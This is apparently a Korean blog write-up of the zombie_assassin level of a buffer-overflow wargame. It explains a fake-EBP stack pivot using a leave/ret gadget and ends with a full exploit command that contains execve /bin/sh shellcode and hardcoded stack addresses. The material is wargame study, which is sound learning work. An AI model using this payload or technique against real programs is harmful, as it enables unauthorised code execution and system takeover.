BOF redhat 원정대 assassin -> zombie_assassin
zombie_assassin, zombie_assassin.c
코드를 보면 이전 문제에서 버퍼, SFP를 초기화 하는 부분이 없어지고 strcpy에서 strncpy로 바뀌어서 SFP, RET까지만 덮을 수 있게 바뀌었다.
전 문제와 같이 RET에는 0xbf와 0x40으로 시작하는 주소로 덮을 수 없어 스택주소와 라이브버리주소를 넣을 수 없다.
주석에 FEBP라고 힌트가 있다. 이전에 풀었던 문제중에 problem_child에서 SFP를 1바이트 수정하여 문제를 푼 적이 있다. 이와 비슷하게 해결을 할 수 있다.
먼저 A를 48개 넣고 strncpy함수 실행 후 메모리를 보고 페이로드를 작성해 보자.
r `python -c 'print "A"*48'`
48바이트만큼 A가 복사된 것을 볼 수 있다. 나는 버퍼에 24바이트 크기의 쉘코드를 넣고 공격을 할 것이다.
페이로드는
[ 버퍼 ][ SFP ][RET]
[dummy][RET][쉘코드][dummy][fakeEbp][RET]
로 구성하였다.
페이로드를 입력 하게 되면 메인함수의 leave를 거치면서 fakeEbp로 ebp가 셋팅된다. 나는 fakeEbp를 A의 맨처음인 0xbffffaa0으로 잡았다. 이렇게 되면 0xbffffaa4가 RET로 된다. RET에는 바로 뒤의 쉘코드가 들어있는 주소를 넣어서 eip가 쉘코드로 이동할 수 있도록 한다.
메인함수의 leave로 스택의 ebp가 원하는 곳으로 이동한 후에는 ret이 실행되는데 이 때 ret를 leave,ret의 가젯의 주소를 넣어주어 내가 셋팅해놓은 sfp, ret가 바로 leave, ret코드를 타도록 만든다.
이 페이로드로 공격을 실행 하면
쉘을 얻을 수 있다.
쉘코드 :
./zombie_assassin "`python -c 'print "AAAA" + "\xa8\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAAAAAA" +"\xa0\xfa\xff\xbf" + "\xbf\xbf\xbf\x90"'`"
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
ARM assembly를 공부하기 위해서 bof redhat 원정대 1번 문제를 ARM환경에서 컴파일하고 단순하게 어셈블리어만 라인바이라인으로 분석해보고 x86 리눅스에서와 어떤식으로 다른지 확인 해 보았다. bof 1번 문제의 c코드 ...
-
UBUNUT SSH 서버에 접속 시도를 하면 로그인이 성공하기 전에 뜨는 배너와 로그인이 성공한 후에 뜨는 메세지가 있다. id, pw를 입력하기 전에 뜨는 배너는 디폴트 값으로 /etc/issue.net 을 읽어온다. issue.net 안...
-
진법 변환과 데이터의 표현 - 2 진수 (binary digit) – 숫자 0 과 1 만으로 모든 수를 나타내는 방법 10 진법 2 진법 기호 0 0 ...



0 개의 댓글:
댓글 쓰기